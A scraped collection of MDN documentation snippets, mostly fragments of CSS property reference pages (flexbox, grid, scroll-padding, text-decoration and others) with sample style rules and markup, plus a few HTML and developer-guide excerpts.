this property is a shorthand for the following css properties: border-bottom-width border-left-width border-right-width border-top-width syntax /* keyword values */ border-width: thin; border-width: medium; border-width: thick; /* <length> values */ border-width: 4px; border-width: 1.2rem; /* vertical | horizontal */ border-width: 2px 1.5em; /* top | horizontal | bottom */ border-width: 1px 2em 1.5cm; /* top | right | bottom | left */ border-width: 1px 2em 0 4rem; /* global keywords */ border-width: inherit; border-width: initial; border-width: unset; the border-width property may be specified using one, ...
... candidate recommendation no direct change; the <length> css data type extension has an effect on
this property.
box-flex - CSS: Cascading Style Sheets
this is a property for controlling parts of the xul box model.
... it does not match either the old css flexible box layout module drafts for 'box-flex' (which were based on
this property) or the behavior of '-webkit-box-flex' (which is based on those drafts).
...
this attribute does not have a corresponding css property.
break-inside - CSS: Cascading Style Sheets
this ensures that sites using page-break-inside continue to work as designed.
...to avoid
this, we have set break-inside: avoid on the <figure>, which causes them to always stay together.
... browser compatibility the compatibility table on
this page is generated from structured data.
color-adjust - CSS: Cascading Style Sheets
this is the default.
... formal definition initial valueeconomyapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax economy | exact examples preserving low contrast in
this example, a box is shown which uses a background-image and a translucent linear-gradient() function atop a black background color to have a dark blue gradient behind medium red text.
... for whatever reason,
this is the desired appearance in any rendering environment, including on paper, so we also use color-adjust: exact to tell the browser not to make color or style adjustments to the box when rendering it.
column-count - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... formal definition initial valueautoapplies toblock containers except table wrapper boxesinheritednocomputed valueas specifiedanimation typean integer formal syntax <integer> | auto examples splitting a paragraph across three columns html <p class="content-box">
this is a bunch of text split into three columns using the css `column-count` property.
... browser compatibility the compatibility table in
this page is generated from structured data.
column-fill - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...content takes up only the room it needs,
this may result in some columns remaining empty.
... formal definition initial valuebalanceapplies tomulticol elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | balance | balance-all examples splitting text evenly across columns html <p class="content-box">
this is a bunch of text split into multiple columns.
direction - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this is the default value.
... browser compatibility the compatibility table on
this page is generated from structured data.
empty-cells - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this property has an effect only when the border-collapse property is separate.
... browser compatibility the compatibility table on
this page is generated from structured data.
flex-direction - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this will adversely affect users experiencing low vision navigating with the aid of assistive technology such as a screen reader.
...ce order matters | adrian roselli mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.2 | w3c understanding wcag 2.0 formal definition initial valuerowapplies toflex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax row | row-reverse | column | column-reverse examples reversing flex container columns and rows html <h4>
this is a column-reverse</h4> <div id="content"> <div class="box" style="background-color:red;">a</div> <div class="box" style="background-color:lightblue;">b</div> <div class="box" style="background-color:yellow;">c</div> </div> <h4>
this is a row-reverse</h4> <div id="content1"> <div class="box1" style="background-color:red;">a</div> <div class="box1" style="background-color:lightblue;">b</...
flex-grow - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... description
this property specifies how much of the remaining space in the flex container should be assigned to the item (the flex grow factor).
... formal definition initial value0applies toflex items, including in-flow pseudo-elementsinheritednocomputed valueas specifiedanimation typea number formal syntax <number> examples setting flex item grow factor html <h4>
this is a flex-grow</h4> <h5>a,b,c and f are flex-grow:1 .
flex-wrap - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this is the default value.
... formal definition initial valuenowrapapplies toflex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax nowrap | wrap | wrap-reverse examples setting flex container wrap values html <h4>
this is an example for flex-wrap:wrap </h4> <div class="content"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> <h4>
this is an example for flex-wrap:nowrap </h4> <div class="content1"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> <h4>
this is an example for flex-wrap:wrap-reverse </h4> <div class="content2"> <d...
font-language-override - CSS: Cascading Style Sheets
this is useful, for example, when the typeface you're using lacks proper support for the language.
...
this is the default value.
...it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | <string> examples using danish glyphs html <p class="para1">default language setting.</p> <p class="para2">
this is a string with the <code>font-language-override</code> set to danish.</p> css p.para1 { font-language-override: normal; } p.para2 { font-language-override: "dan"; } result specifications specification status comment css fonts module level 4the definition of 'font-language-override' in that specification.
font-optical-sizing - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | none examples disabling optical sizing <p class="optical-sizing">
this paragraph is optically sized.
...
this is the default across browsers.</p> <p class="no-optical-sizing">
this paragraph is not optically sized.
font-weight - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... css fonts level 4 extends the syntax to accept any number between 1 and 1000 and introduces variable fonts, which can make use of
this much finer-grained range of font weights.
...however some fonts, called variable fonts, can support a range of weights with a more or less fine granularity, and
this can give the designer a much closer degree of control over the chosen weight.
grid - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...also, the gutter properties are not reset by
this shorthand.
... constituent properties
this property is a shorthand for the following css properties: grid-auto-columns grid-auto-flow grid-auto-rows grid-template-areas grid-template-columns grid-template-rows syntax /* <'grid-template'> values */ grid: none; grid: "a" 100px "b" 1fr; grid: [linename1] "a" 100px [linename2]; grid: "a" 200px "b" min-content; grid: "a" minmax(100px, max-content) "b" 20%; grid: 100px / 200px; grid: minmax(400px, min-content) / repeat(auto-fill, 50px); /* <'grid-template-rows'> / [ auto-flow && dense?
image-orientation - CSS: Cascading Style Sheets
warning:
this property is deprecated in the specification.
... description
this property is intended only to be used for the purpose of correcting the orientation of images which were shot with the camera rotated.
...
this includes any user-directed changes to the orientation of the image, or changes required for printing in portrait versus landscape orientation.
image-set() - CSS: Cascading Style Sheets
examples background-image: image-set( "cat.png" 1x, "cat-2x.png" 2x, "cat-print.png" 600dpi);
this example shows how to use image-set() to provide two alternative background-image options, chosen depending on the resolution needed: a normal version and a high-resolution version.
...
this is important primarily for screen readers, as a screen reader will not announce its presence and therefore convey nothing to its users.
... working draft browser compatibility the compatibility table on
this page is generated from structured data.
inherit - CSS: Cascading Style Sheets
for inherited properties,
this reinforces the default behavior, and is only needed to override another rule.
... for non-inherited properties,
this specifies a behavior that typically makes relatively little sense and you may consider using initial instead, or unset on the all property.
... examples exclude selected elements from a rule /* make second-level headers green */ h2 { color: green; } /* ...but leave those in the sidebar alone so they use their parent's color */ #sidebar h2 { color: inherit; } in
this example the h2 elements inside the sidebar might be different colors.
Inheritance - CSS: Cascading Style Sheets
and the markup: <p>
this paragraph has <em>emphasized text</em> in it.</p> ...
...and the markup: <p>
this paragraph has <em>emphasized text</em> in it.</p> ...
...for example: font { all: revert; font-size: 200%; font-weight: bold; }
this reverts the style of the font property to the user agent's default unless a user stylesheet exists, in which case that is used instead.
initial - CSS: Cascading Style Sheets
this includes the css shorthand all, with which initial can be used to restore all css properties to their initial state.
... examples using initial to reset color for an element html <p> <span>
this text is red.</span> <em>
this text is in the initial color (typically black).</em> <span>
this is red again.</span> </p> css p { color: red; } em { color: initial; } result specifications specification status comment css cascading and inheritance level 4the definition of 'initial' in that specification.
... browser compatibility the compatibility table on
this page is generated from structured data.
margin-trim - CSS: Cascading Style Sheets
in-flow for in-flow boxes contained by
this box, block-axis margins adjacent to the box's edges are truncated to zero.
...it also applies to ::first-letter and ::first-line.inheritednocomputed valueas specifiedanimation typediscrete formal syntax none | in-flow | all examples basic usage once support is implemented for
this property, it will probably work like so: when you've got a container with some inline children and you want to put a margin between each child but not have it interfere with the spacing at the end of the row, you might do something like
this: article { background-color: red; margin: 20px; padding: 20px; display: inline-block; } article > span { background-color: black; color: white...
...; text-align: center; padding: 10px; margin-right: 20px; } the problem here is that you'd end up with 20px too much spacing at the right of the row, so you'd maybe do
this to fix it: span:last-child { margin-right: 0; } it is a pain having to write another rule to achieve
this, and it is also not very flexible.
margin - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...for example, in certain cases
this value can be used to center an element.
... formal syntax [ <length> | <percentage> | auto ]{1,4} examples simple example html <div class="center">
this element is centered.</div> <div class="outside">
this element is positioned outside of its container.</div> css .center { margin: auto; background: lime; width: 66%; } .outside { margin: 3rem 0 0 -3rem; background: cyan; width: 66%; } more examples margin: 5%; /* all sides: 5% margin */ margin: 10px; /* all sides: 10px margin */ margin: 1.6em 20px; /* top and bottom: 1.6em margin */ /* left and right: 20px margin */ margin: 10px 3% -1em; /* top: 10px margin */ /* left and right: 3% margin */ /* bottom: -1em mar...
mask-border-width - CSS: Cascading Style Sheets
ies to container elements excluding the defs element and all graphics elementsinheritednopercentagesrelative to width/height of the mask border image areacomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typediscrete formal syntax [ <length-percentage> | <number> | auto ]{1,4}where <length-percentage> = <length> | <percentage> examples basic usage
this property doesn't appear to be supported anywhere yet.
... when it eventually starts to be supported, it will serve to define the width of the border mask — setting
this to a different value to mask-border-slice will cause the slices to be scaled to fit the border mask.
... mask-border-width: 30 fill; chromium-based browsers support an outdated version of
this property — mask-box-image-width — with a prefix: -webkit-mask-box-image-width: 20px; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
mask-border - CSS: Cascading Style Sheets
constituent properties
this property is a shorthand for the following css properties: mask-border-mode mask-border-outset mask-border-repeat mask-border-slice mask-border-source mask-border-width syntax /* source | slice */ mask-border: url('border-mask.png') 25; /* source | slice | repeat */ mask-border: url('border-mask.png') 25 space; /* source | slice | width */ mask-border: url('border-mask.png') 25 / 35px; /* source | slice | width | outset | repeat | mode */ mask-border: url('border-mask.png') 25 / 35px / 12px space alpha; values <'mask-border-source'> the source image.
...| <'mask-border-repeat'> | <'mask-border-mode'> examples setting a bitmap-based mask border in
this example, we will mask an element's border with a diamond pattern.
... the source for the mask is a ".png" file of 90 by 90 pixels, with three diamonds going vertically and horizontally: html <div id="bitmap">
this element is surrounded by a bitmap-based mask border!
max() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this ensure it is legible and ensures accessibility <h1>
this text is always legible, but doesn't change size</h1> <h1 class="responsive">
this text is always legible, and is responsive, to a point</h1> think of the max() function as finding the minimum value allowed for a property.
...for example: small { font-size: max(min(0.5vw, 0.5em), 1rem); }
this ensures a minimum size of 1rem, with a text size that scales if the page is zoomed.
order - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this will adversely affect users experiencing low vision navigating with the aid of assistive technology such as a screen reader.
... source order matters | adrian roselli mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.2 | w3c understanding wcag 2.0 formal definition initial value0applies toflex items and absolutely-positioned flex container childreninheritednocomputed valueas specifiedanimation typean integer formal syntax <integer> examples ordering items in a flex container
this example uses css to create a classic two-sidebar layout surrounding a content block.
orphans - CSS: Cascading Style Sheets
formal definition initial value2applies toblock container elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax <integer> examples setting a minimum orphan size of three lines html <div> <p>
this is the first paragraph containing some text.</p> <p>
this is the second paragraph containing some more text than the first one.
... it is used to demonstrate how orphans work.</p> <p>
this is the third paragraph.
... browser compatibility the compatibility table on
this page is generated from structured data.
outline-color - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...note that browsers are not required to support
this value; if they don't,
this keyword is considered invalid.
... browser compatibility the compatibility table in
this page is generated from structured data.
Guide to scroll anchoring - CSS: Cascading Style Sheets
this has happened because large images or some other elements have just loaded further up in the content.
... scroll anchoring is a browser feature that aims to solve
this problem of content jumping, which happens if content loads in after the user has already scrolled to a new part of the document.
...
this means that the point in the document the user is looking at remains in the viewport, which may mean their scroll position actually changes in terms of how far they have moved through the document.
overscroll-behavior-block - CSS: Cascading Style Sheets
contain default scroll overflow behavior is observed inside the element
this value is set on (e.g.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples preventing block overscrolling in
this demo we have two block-level boxes, one inside the other.
...to avoid
this happening in the block direction, we've set overscroll-behavior-block: contain on the inner box.
overscroll-behavior-inline - CSS: Cascading Style Sheets
contain default scroll overflow behavior is observed inside the element
this value is set on (e.g.
... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax contain | none | auto examples preventing inline overscrolling in
this demo we have two block-level boxes, one inside the other.
...to avoid
this happening in the inline direction, we've set overscroll-behavior-inline: contain on the inner box.
padding - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: padding-bottom padding-left padding-right padding-top syntax /* apply to all four sides */ padding: 1em; /* vertical | horizontal */ padding: 5% 10%; /* top | horizontal | bottom */ padding: 1em 2em 2em; /* top | right | bottom | left */ padding: 5px 1em 0 2em; /* global values */ padding: inherit; padding: initial; padding: unset; the padding property may ...
...es of the shorthand:padding-bottom: the percentage as specified or the absolute lengthpadding-left: the percentage as specified or the absolute lengthpadding-right: the percentage as specified or the absolute lengthpadding-top: the percentage as specified or the absolute lengthanimation typea length formal syntax [ <length> | <percentage> ]{1,4} examples setting padding with pixels html <h4>
this element has moderate padding.</h4> <h3>the padding is huge in
this element!</h3> css h4 { background-color: lime; padding: 20px 50px; } h3 { background-color: cyan; padding: 110px 50px 50px 110px; } result setting padding with pixels and percentages padding: 5%; /* all sides: 5% padding */ padding: 10px; /* all sides: 10px padding */ padding: 10px 2...
resize - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...you may override
this behavior with the resize property.
... html <div class="resizable"> <p class="resizable">
this paragraph is resizable in all directions, because the css `resize` property is set to `both` on
this element.
scroll-margin-block - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: scroll-margin-block-end scroll-margin-block-start syntax /* <length> values */ scroll-margin-block: 10px; scroll-margin-block: 1em .5em ; /* global values */ scroll-margin-block: inherit; scroll-margin-block: initial; scroll-margin-block: unset; values <length> an outset from the corresponding edge of the scroll container.
... description the scroll-margin values represent outsets defining the scroll snap area that is used for snapping
this box to the snapport.
scroll-padding-block-end - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
... the source for
this interactive example is stored in a github repository.
...
this will generally be 0px, but a user agent is able to detect and do something else if a non-zero value is more appropriate.
scroll-padding-block-start - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
... the source for
this interactive example is stored in a github repository.
...
this will generally be 0px, but a user agent is able to detect and do something else if a non-zero value is more appropriate.
scroll-padding-bottom - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
... the source for
this interactive example is stored in a github repository.
...
this will generally be 0px, but a user agent is able to detect and do something else if a non-zero value is more appropriate.
scroll-padding-inline-end - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
... the source for
this interactive example is stored in a github repository.
...
this will generally be 0px, but a user agent is able to detect and do something else if a non-zero value is more appropriate.
scroll-padding-inline-start - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
... the source for
this interactive example is stored in a github repository.
...
this will generally be 0px, but a user agent is able to detect and do something else if a non-zero value is more appropriate.
scroll-padding-left - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
... the source for
this interactive example is stored in a github repository.
...
this will generally be 0px, but a user agent is able to detect and do something else if a non-zero value is more appropriate.
scroll-padding-right - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
... the source for
this interactive example is stored in a github repository.
...
this will generally be 0px, but a user agent is able to detect and do something else if a non-zero value is more appropriate.
scroll-padding-top - CSS: Cascading Style Sheets
this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport.
... the source for
this interactive example is stored in a github repository.
...
this will generally be 0px, but a user agent is able to detect and do something else if a non-zero value is more appropriate.
scroll-snap-align - CSS: Cascading Style Sheets
start the start alignment of
this box's scroll snap area, within the scroll container's snapport is a snap position in
this axis.
... end the end alignment of
this box's scroll snap area, within the scroll container's snapport is a snap position in
this axis.
... center the center alignment of
this box's scroll snap area, within the scroll container's snapport is a snap position in
this axis.
scroll-snap-stop - CSS: Cascading Style Sheets
/* keyword values */ scroll-snap-stop: normal; scroll-snap-stop: always; /* global values */ scroll-snap-type: inherit; scroll-snap-type: initial; scroll-snap-type: unset; syntax values normal when the visual viewport of
this element's scroll container is scrolled, it may "pass over" possible snap positions.
... always the scroll container must not "pass over" a possible snap position; and must snap to the first of
this elements' snap positions.
... formal definition initial valuenormalapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax normal | always examples snapping in different axes
this example is duplicated from scroll-snap-type with minor variances.
shape-image-threshold - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...values outside the range 0.0 (fully transparent) to 1.0 (fully opaque) are clamped to
this range.
... formal definition initial value0.0applies tofloatsinheritednocomputed valuethe same as the specified value after clipping the <number> to the range [0.0, 1.0].animation typea number formal syntax <alpha-value>where <alpha-value> = <number> | <percentage> examples aligning text to a gradient
this example creates a <div> block with a gradient background image.
table-layout - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this can speed up rendering time over the "automatic" layout method, but subsequent cell content might not fit in the column widths provided.
... formal definition initial valueautoapplies totable and inline-table elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | fixed examples fixed-width tables with text-overflow
this example uses a fixed table layout, combined with the width property, to restrict the table's width.
text-decoration-color - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this effect can nevertheless be achieved by nesting elements, applying a different line type to each element (with the text-decoration-line property), and specifying the line color (with text-decoration-color) on a per-element basis.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples <p>
this paragraph has <s>some erroneous text</s> inside it that i want to call attention to.</p> p { text-decoration-line: underline; text-decoration-color: cyan; } s { text-decoration-line: line-through; text-decoration-color: red; text-decoration-style: wavy; } specifications specification status comment css text decoration module level 3the definition of...
text-decoration-line - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this value is deprecated in favor of css animations.
...it also applies to ::first-letter and ::first-line.inheritednocomputed valueas specifiedanimation typediscrete formal syntax none | [ underline | overline | line-through | blink ] | spelling-error | grammar-error examples <p class="wavy">here's some text with wavy red underline!</p> <p class="both">
this text has lines both above and below it.</p> .wavy { text-decoration-line: underline; text-decoration-style: wavy; text-decoration-color: red; } .both { text-decoration-line: underline overline; } specifications specification status comment css text decoration module level 3the definition of 'text-decoration-line' in that specification.
text-decoration-skip-ink - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this can be helpful with certain chinese, japanese, or korean (cjk) fonts, where the auto behavior might not create interruptions.
...on a quest for a cup of coffee.</p> <p class="no-skip-ink">or maybe you'd prefer some tea?</p> <p>この文は、 text-decoration-skip-ink: auto の使用例を示しています。</p> <p class="skip-ink-all">この文は、 text-decoration-skip-ink: all の使用例を示しています。</p> css p { font-size: 1.5em; text-decoration: underline blue; text-decoration-skip-ink: auto; /*
this is the default anyway */ } .no-skip-ink { text-decoration-skip-ink: none; } .skip-ink-all{ text-decoration-skip-ink: all; } result specifications specification status comment css text decoration module level 4the definition of 'text-decoration-skip-ink' in that specification.
text-decoration-style - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... if the specified decoration has a specific semantic meaning, like a line-through line meaning that some text has been deleted, authors are encouraged to denote
this meaning using an html tag, like <del> or <s>.
...example { -moz-text-decoration-line: underline; -moz-text-decoration-style: wavy; -moz-text-decoration-color: red; -webkit-text-decoration-line: underline; -webkit-text-decoration-style: wavy; -webkit-text-decoration-color: red; } css .wavy { text-decoration-line: underline; text-decoration-style: wavy; text-decoration-color: red; } html <p class="wavy">
this text has a wavy red line beneath it.</p> results specifications specification status comment css text decoration module level 3the definition of 'text-decoration-style' in that specification.
text-decoration-thickness - CSS: Cascading Style Sheets
if the font file doesn't include
this information, behave as if auto was set, with the browser choosing an appropriate thickness.
...for a given application of
this property, the thickness is constant across the whole box it is applied to, even if there are child elements with a different font size.
...it also applies to ::first-letter and ::first-line.inheritednopercentagesrefer to the font size of the element itselfcomputed valueas specifiedanimation typeby computed value type formal syntax auto | from-font | <length> | <percentage> examples varying thickness html <p class="thin">here's some text with a 1px red underline.</p> <p class="thick">
this one has a 5px red underline.</p> <p class="shorthand">
this uses the equivalent shorthand.</p> css .thin { text-decoration-line: underline; text-decoration-style: solid; text-decoration-color: red; text-decoration-thickness: 1px; } .thick { text-decoration-line: underline; text-decoration-style: solid; text-decoration-color: red; text-decoration-thickness: 5px; } .shorthand { ...
text-justify - CSS: Cascading Style Sheets
this has the same effect as not setting text-align at all, although it is useful if you need to turn justification on and off for some reason.
...
this is the default justification used if text-justify is not set at all.
... distribute exhibits the same behaviour as inter-character;
this value is kept for backwards compatibility.
text-orientation - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...note that
this keyword causes all characters to be considered as left-to-right: the used value of direction is forced to be ltr.
... use-glyph-orientation on svg elements,
this keyword leads to use the value of the deprecated svg properties glyph-orientation-vertical and glyph-orientation-horizontal.
text-size-adjust - CSS: Cascading Style Sheets
other browsers will ignore
this property.
...the text-size-adjust property allows web authors to disable or modify
this behavior, as web pages designed with small screens in mind do not need it.
...
this value is used to cancel a none value previously set with css.
<time-percentage> - CSS: Cascading Style Sheets
syntax refer to the documentation for <time> and <percentage> for details of the individual syntaxes allowed by
this type.
... examples use in calc() where a <time-percentage> is specified as an allowable type,
this means that the percentage resolves to a time and therefore can be used in a calc() expression.
...12.0
this is a <number>, not a <time>, because it's missing a unit.
top - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this computed value is then handled as if it were a <length>, <percentage>, or the auto keyword.
...ed as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples body { background: beige; } div { position: absolute; top: 10%; right: 40%; bottom: 20%; left: 15%; background: gold; border: 1px solid blue; } <div>the size of
this content is determined by the position of its edges.</div> specifications specification status comment css positioned layout module level 3the definition of 'top' in that specification.
scaleZ() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this scaling transformation modifies the z-coordinate of each element point by a constant factor, except when the scale factor is 1, in which case the function is the identity transform.
... cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3
this transformation applies to the 3d space and can't be represented on the plane.
translate() - CSS: Cascading Style Sheets
this transformation is characterized by a two-dimensional vector.
... syntax /* single <length-percentage> values */ transform: translate(200px); transform: translate(50%); /* double <length-percentage> values */ transform: translate(100px, 200px); transform: translate(100px, 50%); transform: translate(30%, 200px); transform: translate(30%, 50%); values single <length-percentage> values
this value is a <length> or <percentage> representing the abscissa (horizontal, x-coordinate) of the translating vector.
... double <length-percentage> values
this value describes two <length> or <percentage> values representing both the abscissa (x-coordinate) and the ordinate (y-coordinate) of the translating vector.
translate3d() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this transformation is characterized by a three-dimensional vector.
... cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3
this transformation applies to the 3d space and can't be represented on the plane.
transform-origin - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this property is applied by first translating the element by the value of the property, then applying the element's transform, then translating by the negated property value.
...
this means,
this definition transform-origin: -100% 50%; transform: rotate(45deg); results in the same transformation as transform-origin: 0 0; transform: translate(-100%, 50%) rotate(45deg) translate(100%, -50%); by default, the origin of a transform is center.
transition-timing-function - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this, in essence, lets you establish an acceleration curve so that the speed of the transition can vary over its duration.
...
this acceleration curve is defined using one <timing-function> for each property to be transitioned.
transition - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: transition-delay transition-duration transition-property transition-timing-function syntax /* apply to 1 property */ /* property name | duration */ transition: margin-right 4s; /* property name | duration | delay */ transition: margin-right 4s 1s; /* property name | duration | timing function */ transition: margin-right 4s ease-in-out; /* property name | ...
...
this may be any one of: the keyword none the keyword all a <custom-ident> naming a css property.
vertical-align - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...al-align: top">top</td> <td style="vertical-align: middle">middle</td> <td style="vertical-align: bottom">bottom</td> <td> <p>there is a theory which states that if ever anyone discovers exactly what the universe is for and why it is here, it will instantly disappear and be replaced by something even more bizarre and inexplicable.</p> <p>there is another theory which states that
this has already happened.</p> </td> </tr> </table> table { margin-left: auto; margin-right: auto; width: 80%; } table, th, td { border: 1px solid black; } td { padding: 0.5em; font-family: monospace; } note that vertical-align only applies to inline, inline-block and table-cell elements: you can't use it to vertically align block-level elements.
...the baseline of some replaced elements, like <textarea>, is not specified by the html specification, meaning that their behavior with
this keyword may vary between browsers.
visibility - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this value allows for the fast removal of a row or column from a table without forcing the recalculation of widths and heights for the entire table.
...
this will cause the element and all its descendant elements to no longer be announced by screen reading technology.
z-index - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... <integer>
this <integer> is the stack level of the generated box in the current stacking context.
...
this means that the z-indexes of descendants are not compared to the z-indexes of elements outside
this element.
regexp:match() - EXSLT
if
this flag isn't specified, only the submatches from the first match are returned.
... i case insensitive match if
this flag is specified, the match is performed in a case insensitive fashion.
... for example: <xsl:for-each select="regexp:match('http://developer.mozilla.org/en/docs/firefox_3_for_developers', '(\w+):\/\/([^/:]+)(:\d*)?([^# ]*)')"> part <xsl:value-of select="position()" /> = <xsl:value-of select="." /> </xsl:for-each>
this code generates the following output: part 1 = http://developer.mozilla.org/en/docs/firefox_3_for_developers part 2 = http part 3 = developer.mozilla.org part 4 = part 5 = /en/docs/firefox_3_for_developers specifications exslt - regexp:match ...
Parsing and serializing XML - Developer guides
in
this article, we'll look at the objects provided by the web platform to make the common tasks of serializing and parsing xml easy.
... parsing strings into dom trees
this example converts an xml fragment in a string into a dom tree using a domparser: var smystring = '<a id="a"><b id="b">hey!</b></a>'; var oparser = new domparser(); var odom = oparser.parsefromstring(smystring, "application/xml"); // print the name of the root element or error message console.log(odom.documentelement.nodename == "parsererror" ?
... you can get html corresponding to the <body> and its descendants with
this code: var dochtml = document.documentelement.outerhtml; ...
The Unicode Bidirectional Text Algorithm - Developer guides
understanding
this algorithm in at least basic terms is helpful when you're striving to produce localization-ready web content or apps.
... in
this guide, we'll take a look at the bidi algorithm and learn in general what it does and how it applies to your content, so that you'll be better prepared when using the features of html and css to which the algorithm applies while determining the order and directionality of text during rendering.
...ounding text first strong isolate (fsi) u+2068 ⁨ dir="auto" isolates the content and sets the base direction according to the first strongly-typed directional character in the embedded content left-to-right embedding (lre) u+202a ‪ dir="ltr" sets the base direction to ltr but allows the embedded text to interact with the surrounding content;
this risks the effect spilling over to the outer content right-to-left embedding (rle) u+202b ‫ dir="rtl" sets the base direction to rtl, but lets the embedded text interact with the surrounding content, risking spillover effects left-to-right override (lro) u+202d ‭ <bdo dir="ltr"> overrides the bidi algorithm, displaying the characters in memor...
HTML attribute: max - HTML: Hypertext Markup Language
if the value of the element is greater than
this, the element fails constraint validation.
...
this value must be greater than or equal to the value of the min attribute.
...
this must be greater than the minimum value (min attribute), if specified.
HTML attribute: min - HTML: Hypertext Markup Language
if the value of the element is less than
this, the element fails constraint validation.
...
this value must be less than or equal to the value of the max attribute.
...
this must be less than the minimum value (max attribute), if specified.
DASH Adaptive Streaming for HTML 5 Video - HTML: Hypertext Markup Language
this means that it allows for a video stream to switch between bit rates on the basis of network performance, in order to keep a video playing.
...to start with you'll only need the ffpmeg program from ffmpeg.org, with libvpx and libvorbis support for webm video and audio, at least version 2.5 (probably;
this was tested ith 3.2.5).
...the -adaptation_sets argument assigns them into adaptation sets; for example,
this creates one set (0) that contains the streams 0, 1, 2 and 3 (the videos), and another set (1) that contains only stream 4, the audio stream.
<base>: The Document Base URL element - HTML: Hypertext Markup Language
implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlbaseelement attributes
this element's attributes include the global attributes.
... if either of the following attributes are specified,
this element must come before other elements with attribute values of urls, such as <link>’s href attribute.
...for example: given <base href="https://example.com"> ...and
this link: <a href="#anchor">anker</a> ...the link points to https://example.com/#anchor.
<blink>: The Blinking Text element (obsolete) - HTML: Hypertext Markup Language
do not use
this element as it is obsolete and is bad design practice.
... dom interface
